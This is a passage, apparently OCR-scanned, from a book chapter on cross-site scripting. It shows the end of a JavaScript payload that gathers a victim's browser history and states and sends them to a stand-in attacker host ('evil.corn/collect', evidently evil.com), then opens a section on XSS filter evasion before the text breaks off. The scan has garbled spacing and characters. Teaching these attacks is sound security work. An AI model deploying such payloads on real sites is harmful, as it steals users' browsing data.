XSS Attacks

XSS Theory 9 Chapter 3 133

ions.join(', ') ;data.states=data.states.join(', ') ;data.history=data.history.join(', '

) ; $A. transport ( {url : ' http ://evil. corn/collect ' , query:data} ) ;window. clearInterval (tmr

)}, I000) }

Again, while the URL looks very long, notice that most of the information is located

after the fragment identifier (#).

XSS Filter Evasion

One of the fundamental skills needed for successful XSS is to understand filter evasion. This

is because filters are often used by Web developers to prevent a would be attacker from

injecting dangerous characters into a server ...